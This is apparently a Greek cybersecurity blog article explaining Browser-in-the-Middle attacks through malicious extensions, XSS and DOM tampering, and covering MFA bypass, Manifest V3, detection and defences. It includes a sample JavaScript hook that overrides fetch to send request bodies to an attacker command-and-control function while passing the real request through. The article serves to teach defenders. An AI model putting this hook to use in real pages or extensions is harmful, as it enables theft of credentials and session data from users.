ΑρχικήΤι είναιΤι είναι η επίθεση Browser-in-the-Middle (BitM);

Τι είναι η επίθεση Browser-in-the-Middle (BitM);

Επιτρέψτε μου να ξεκινήσω με μια παραδοχή που ίσως ακουστεί κάπως κυνική, αλλά εμείς που ζούμε και αναπνέουμε στον χώρο της κυβερνοασφάλειας γνωρίζουμε πως είναι η μόνη αλήθεια: Το πρόγραμμα περιήγησης διαδικτύου, ο αγαπημένος μας browser, δεν είναι πλέον απλώς ένα εργαλείο πλοήγησης. Είναι το λειτουργικό σύστημα της σύγχρονης εποχής.

Και όπως κάθε λειτουργικό σύστημα που σέβεται τον εαυτό του, έτσι και αυτός έχει γίνει ο νούμερο ένα στόχος για όσους θέλουν να παραβιάσουν τα ψηφιακά μας άδυτα.

Σήμερα θα αφήσουμε κατά μέρος τις επιφανειακές αναλύσεις και θα βουτήξουμε στα βαθιά νερά μιας απειλής που, ενώ ακούγεται σαν παραλλαγή παλαιότερων μεθόδων, αποτελεί μια θεμελιώδη εξέλιξη στον τρόπο που αντιλαμβανόμαστε την ασφάλεια του τερματικού. Μιλάω, φυσικά, για την επίθεση Browser-in-the-Middle ή αλλιώς BitM.

Η εξέλιξη του είδους: Από το δίκτυο στον περιηγητή

Θυμάστε τις παλιές καλές εποχές; Τότε που η μεγαλύτερη ανησυχία μας ήταν μήπως κάποιος “ακούει” την κίνηση στο ξεκλείδωτο Wi-Fi της καφετέριας; Η κλασική επίθεση Man-in-the-Middle (MitM) βασιζόταν στην παρεμβολή στο επίπεδο του δικτύου.

Ωστόσο, η καθολική υιοθέτηση του HTTPS και του TLS 1.3, σε συνδυασμό με το Certificate Pinning, έκαναν αυτές τις επιθέσεις εξαιρετικά δύσκολες, αν όχι αδύνατες για τον μέσο επιτιθέμενο. Το παιχνίδι άλλαξε. Οι εγκληματίες του κυβερνοχώρου, προσαρμοστικοί όπως πάντα, συνειδητοποίησαν κάτι απλό αλλά μεγαλοφυές.

Γιατί να προσπαθείς να σπάσεις την κρυπτογράφηση κατά τη μεταφορά των δεδομένων, όταν μπορείς να κάτσεις ακριβώς εκεί που τα δεδομένα αποκρυπτογραφούνται και παρουσιάζονται στον χρήστη;

Αυτή είναι η γενέτειρα ιδέα του Browser-in-the-Middle. Η επίθεση δεν συμβαίνει πια στο “καλώδιο”, συμβαίνει μέσα στην ίδια την εφαρμογή που εμπιστευόμαστε περισσότερο.

Ορισμός και μηχανισμός: Τι είναι ακριβώς το BitM;

Για να είμαστε ακριβείς και τεχνικά ορθοί, το BitM δεν είναι απλώς μια τεχνική, είναι μια θέση μάχης. Σε αυτό το σενάριο, ο επιτιθέμενος έχει καταφέρει να εκτελέσει κακόβουλο κώδικα μέσα στο περιβάλλον του browser του θύματος.

Αυτό συνήθως επιτυγχάνεται μέσω κακόβουλων επεκτάσεων (extensions), μολυσμένων scripts που φορτώνονται μέσω Cross-Site Scripting (XSS) ή ακόμη και μέσω malware που έχει εγκατασταθεί στο λειτουργικό σύστημα και “αγκιστρώνεται” (hooks) στις διεργασίες του browser.

Η θεμελιώδης διαφορά εδώ είναι ότι ο επιτιθέμενος βλέπει ακριβώς ό,τι βλέπει και ο χρήστης. Τα δεδομένα έχουν ήδη αποκρυπτογραφηθεί από το SSL/TLS layer του browser και βρίσκονται εκτεθειμένα στο Document Object Model (DOM).

Επομένως, οποιαδήποτε προστασία μεταφοράς είναι παντελώς άχρηστη. Ο εισβολέας έχει πρόσβαση στα πεδία των φορμών, στα cookies, στα tokens και σε κάθε αλληλεπίδραση του χρήστη με τη σελίδα.

Η αρχιτεκτονική της παραβίασης: Χειραγώγηση του DOM

Ας εμβαθύνουμε στο πώς ακριβώς λειτουργεί αυτό σε επίπεδο κώδικα και δομής. Το Document Object Model είναι ουσιαστικά η δενδρική αναπαράσταση της ιστοσελίδας που φορτώνεται. Ένας BitM παράγοντας έχει τη δυνατότητα να διαβάσει και, το κυριότερο, να τροποποιήσει αυτό το δέντρο σε πραγματικό χρόνο.

Φανταστείτε ότι συνδέεστε στο e-banking σας. Η σελίδα φορτώνει κανονικά, το λουκετάκι του HTTPS είναι πράσινο και όλα φαίνονται ασφαλή.

Όμως, ένα κακόβουλο extension που τρέχει στο υπόβαθρο μπορεί να εισάγει ένα νέο πεδίο στη φόρμα μεταφοράς χρημάτων ή να αλλάξει τον λογαριασμό παραλήπτη τη στιγμή που πατάτε “Αποστολή”, αλλά να σας δείχνει στην οθόνη επιβεβαίωσης τα στοιχεία που εσείς εισάγατε.

Αυτή η αποσύνδεση μεταξύ του τι βλέπει ο χρήστης (User Interface) και του τι εκτελείται στο παρασκήνιο (Business Logic execution via API calls) είναι η καρδιά του BitM.

Ο ρόλος των κακόβουλων επεκτάσεων (Extensions)

Το 2024 και το 2025 βλέπουμε μια έκρηξη σε επιθέσεις που βασίζονται σε browser extensions. Οι επεκτάσεις είναι, κατ’ ουσίαν, μικρές εφαρμογές που τρέχουν με προνόμια που συχνά ξεπερνούν αυτά της ίδιας της ιστοσελίδας.

Μια επέκταση που ζητά άδεια “Read and change all your data on the websites you visit” είναι ο τέλειος Δούρειος Ίππος.

Οι επιτιθέμενοι συχνά αγοράζουν νόμιμες επεκτάσεις με μεγάλη βάση χρηστών και στη συνέχεια εκδίδουν μια “ενημέρωση” που περιέχει τον κακόβουλο κώδικα. Μόλις εγκατασταθεί, η επέκταση μπορεί να παρακολουθεί τα network requests, να υποκλέπτει cookies συνόδου (session cookies) και να εκτελεί scripts σε κάθε σελίδα που επισκέπτεται το θύμα.

Το σύστημα ελέγχου των Chrome Web Store και Edge Add-ons έχει βελτιωθεί, αλλά η “γάτα και το ποντίκι” συνεχίζεται αμείωτη.

Τεχνική ανάλυση: JavaScript Injection και API Hooking

Εδώ είναι που τα πράγματα γίνονται πραγματικά ενδιαφέροντα για εμάς τους τεχνικούς. Ένας βασικός μηχανισμός του BitM είναι το hooking των native συναρτήσεων του browser.

Ο επιτιθέμενος μπορεί να αντικαταστήσει (override) τη συνάρτηση fetch ή το αντικείμενο XMLHttpRequest με δικό του κώδικα. Αυτό του επιτρέπει να παρεμβάλλεται σε κάθε επικοινωνία μεταξύ του frontend και του backend API, πριν καν αυτή φύγει από το browser.

Ας δούμε ένα απλοϊκό παράδειγμα ψευδοκώδικα (conceptual JavaScript) για το πώς ένας επιτιθέμενος θα μπορούσε να κάνει hook την fetch για να υποκλέψει δεδομένα, διατηρώντας παράλληλα τη λειτουργικότητα για να μην κινήσει υποψίες:

JavaScript

const originalFetch = window.fetch;

window.fetch = async function(resource, config) {
    // Καταγραφή των ευαίσθητων δεδομένων που στέλνει ο χρήστης
    if (config && config.body) {
        sendToAttackerC2(config.body); // Αποστολή στο Command & Control server
    }

    // Τροποποίηση δεδομένων αν χρειάζεται (π.χ. αλλαγή ποσού συναλλαγής)
    // config.body = modifyPayload(config.body);

    // Εκτέλεση του πραγματικού αιτήματος για να μην καταλάβει τίποτα ο χρήστης
    const response = await originalFetch(resource, config);

    // Προαιρετικά: Υποκλοπή της απάντησης του server
    return response;
};

Με αυτόν τον τρόπο, ο επιτιθέμενος έχει τον πλήρη έλεγχο της ροής πληροφορίας εντός του browser.

Η κατάρρευση του MFA: Γιατί το 2FA δεν αρκεί

Έχουμε εκπαιδεύσει τους χρήστες και τα στελέχη μας ότι το Multi-Factor Authentication (MFA) είναι η πανάκεια. Δυστυχώς, στην περίπτωση του BitM, το παραδοσιακό MFA είναι πρακτικά ανίσχυρο. Γιατί; Επειδή ο επιτιθέμενος δεν χρειάζεται να μαντέψει τον κωδικό σας ή να κλέψει το OTP σας για να συνδεθεί αργότερα.

Ο επιτιθέμενος περιμένει να συνδεθείτε εσείς. Μόλις ολοκληρώσετε επιτυχώς τη διαδικασία αυθεντικοποίησης και ο server εκδώσει το Session Cookie ή το OAuth Token, ο επιτιθέμενος το έχει ήδη στα χέρια του, καθώς βρίσκεται μέσα στον browser σας.

Μπορεί να κάνει εξαγωγή των cookies και να τα χρησιμοποιήσει σε δικό του μηχάνημα ή, ακόμα πιο απλά, να εκτελέσει ενέργειες μέσω του δικού σας session όσο εσείς πίνετε τον καφέ σας κοιτώντας την οθόνη. Αυτό καθιστά την επίθεση BitM εξαιρετικά επικίνδυνη για εταιρικά περιβάλλοντα που βασίζονται σε SSO (Single Sign-On).

BitM εναντίον AitM: Οι λεπτές διαφορές

Συχνά υπάρχει σύγχυση μεταξύ του Browser-in-the-Middle (BitM) και του Adversary-in-the-Middle (AitM). Αν και οι στόχοι είναι παρόμοιοι, η μεθοδολογία διαφέρει.

Στο AitM (σκεφτείτε εργαλεία όπως το Evilginx2), ο επιτιθέμενος στήνει έναν reverse proxy server και ξεγελά τον χρήστη μέσω phishing να περάσει από αυτόν. Ο χρήστης μιλάει στον proxy, και ο proxy μιλάει στην πραγματική υπηρεσία. Αντιθέτως, στο BitM, δεν απαιτείται phishing σελίδα ή proxy. Ο χρήστης βρίσκεται στην πραγματική, νόμιμη ιστοσελίδα.

Η μόλυνση βρίσκεται στο τερματικό του (στο software του browser). Αυτό καθιστά το BitM πολύ πιο ύπουλο, καθώς παρακάμπτει ελέγχους που βασίζονται στη φήμη του domain (domain reputation) ή στην επαλήθευση του URL. Ο χρήστης βλέπει https://www.mybank.com και είναι όντως εκεί.

Η εποχή του Manifest V3 και οι επιπτώσεις του

Πρέπει να αναφερθούμε στις προσπάθειες της Google και άλλων κατασκευαστών browser να περιορίσουν αυτό το φαινόμενο μέσω του Manifest V3, του νέου προτύπου για τις επεκτάσεις.

Το Manifest V3 αλλάζει δραματικά τον τρόπο που λειτουργούν τα extensions, περιορίζοντας τη δυνατότητα εκτέλεσης απομακρυσμένου κώδικα και αντικαθιστώντας τα background pages με service workers που είναι πιο εφήμερα.

Θεωρητικά, αυτό δυσκολεύει τους επιτιθέμενους να διατηρούν μόνιμη παρουσία και να παρεμβαίνουν αυθαίρετα στα web requests μέσω του webRequest API, προωθώντας το πιο περιοριστικό declarativeNetRequest. Ωστόσο, οι ερευνητές ασφαλείας έχουν ήδη βρει τρόπους παράκαμψης και προσαρμογής.

Ενώ το V3 βάζει εμπόδια, δεν εξαλείφει την ικανότητα μιας κακόβουλης επέκτασης να διαβάζει το DOM ή να αλληλεπιδρά με τη σελίδα μέσω content scripts, εφόσον ο χρήστης έχει δώσει τα απαραίτητα δικαιώματα.

Ανίχνευση: Το δύσκολο εγχείρημα

Η ανίχνευση μιας επίθεσης BitM είναι μια από τις μεγαλύτερες προκλήσεις για τις ομάδες SOC (Security Operations Centers) σήμερα. Επειδή η δραστηριότητα προέρχεται από το νόμιμο browser του χρήστη, από τη σωστή IP διεύθυνση και με έγκυρα cookies, τα συστήματα προστασίας περιμέτρου και τα WAF (Web Application Firewalls) συχνά δεν βλέπουν τίποτα ύποπτο.

Η ανίχνευση πρέπει να μεταφερθεί στο επίπεδο του τερματικού (Endpoint) και της συμπεριφορικής ανάλυσης (Behavioral Analysis). Πρέπει να ψάχνουμε για ανωμαλίες στη δομή του DOM, για extensions που επικοινωνούν με άγνωστους C2 servers, ή για διεργασίες του browser που καταναλώνουν ασυνήθιστα πολλούς πόρους.

Τεχνολογίες που ελέγχουν την ακεραιότητα του client-side κώδικα σε πραγματικό χρόνο αρχίζουν να κερδίζουν έδαφος, προσπαθώντας να εντοπίσουν πότε ο κώδικας JavaScript μιας σελίδας έχει παραβιαστεί.

Στρατηγικές άμυνας: Πέρα από τα βασικά

Πώς αμυνόμαστε λοιπόν; Η απάντηση δεν είναι μονολεκτική. Απαιτείται μια πολυεπίπεδη προσέγγιση.

Πρώτον, η αυστηρή διαχείριση των extensions σε εταιρικό επίπεδο (Enterprise Policy) είναι αδιαπραγμάτευτη. Επιτρέπουμε μόνο extensions που έχουν ελεγχθεί και εγκριθεί (Allowlisting).

Δεύτερον, η χρήση FIDO2/WebAuthn κλειδιών ασφαλείας προσφέρει μια ισχυρή ασπίδα κατά του phishing που οδηγεί σε BitM, καθώς η κρυπτογραφική απόδειξη συνδέεται με το συγκεκριμένο origin, αν και δεν λύνει πλήρως το πρόβλημα του session hijacking αν το μηχάνημα έχει ήδη μολυνθεί.

Τρίτον, η εφαρμογή αυστηρών Content Security Policies (CSP) από την πλευρά των web developers μπορεί να περιορίσει το πού μπορεί να στείλει δεδομένα ο browser, μπλοκάροντας την επικοινωνία με τους servers του επιτιθέμενου.

Τέλος, η μείωση του χρόνου ζωής των sessions και η απαίτηση επανα-αυθεντικοποίησης για κρίσιμες συναλλαγές είναι ζωτικής σημασίας.

Συνοπτική παρουσίαση δεδομένων

Για να σας βοηθήσω να κωδικοποιήσετε τις διαφορές στο μυαλό σας, ετοίμασα τον παρακάτω πίνακα που συγκρίνει τις τρεις βασικές μορφές επιθέσεων “ενδιάμεσου”.

ΧαρακτηριστικόClassic MitM (Network)AitM (Reverse Proxy / Phishing)BitM (Browser/Endpoint)
Σημείο ΕλέγχουΔίκτυο (Router, Wi-Fi)Ενδιάμεσος Server (Proxy)Περιηγητής Χρήστη (User’s Browser)
Αντιμετώπιση ΚρυπτογράφησηςΑπαιτεί σπάσιμο SSL/TLS (δύσκολο)Τερματίζει το SSL και ανοίγει νέοΠαρακάμπτεται πλήρως (βλέπει decrypted δεδομένα)
Απαιτούμενη Ενέργεια ΧρήστηΣύνδεση σε επισφαλές δίκτυοΚλικ σε phishing linkΕγκατάσταση extension/malware
Εγκυρότητα URLΤο URL μπορεί να φαίνεται ύποπτοΤο URL είναι ψεύτικο (typosquatting)Το URL είναι το πραγματικό/νόμιμο
Αποτελεσματικότητα MFAΧαμηλή (λόγω encryption)Υψηλή (κλέβει OTP/Tokens)Πολύ Υψηλή (κλέβει session μετά το login)
ΑνίχνευσηIDS/IPS ΔικτύουDomain Reputation / URL AnalysisEDR / Behavioral Analysis / Client-side Monitoring

Κλείνοντας, ας είμαστε ρεαλιστές. Το Browser-in-the-Middle δεν είναι μια απειλή που θα εξαφανιστεί σύντομα. Καθώς μεταφέρουμε όλο και περισσότερο φόρτο εργασίας στο cloud και στον browser, το “attack surface” θα συνεχίσει να μεγαλώνει εκεί.

Η λύση βρίσκεται στην υιοθέτηση μιας νοοτροπίας Zero Trust, όχι μόνο στο δίκτυο, αλλά και στις εφαρμογές και στα extensions που επιτρέπουμε να τρέχουν στα ψηφιακά μας περιβάλλοντα.

Η μάχη μεταφέρεται μέσα στο DOM, και εκεί πρέπει να είμαστε έτοιμοι να την δώσουμε.

Στέλιος Θεοδωρίδης
Στέλιος Θεοδωρίδης
Ο ήρωας μου είναι ο γάτος μου ο Τσάρλι και ακροάζομαι μόνο Psychedelic Trance
RELATED ARTICLES

Πρόσφατα άρθρα

Tηλέφωνα έκτακτης ανάγκης

Δίωξη Ηλεκτρονικού Εγκλήματος: 11188
Ελληνική Αστυνομία: 100
Χαμόγελο του Παιδιού: 210 3306140
Πυροσβεστική Υπηρεσία: 199
ΕΚΑΒ 166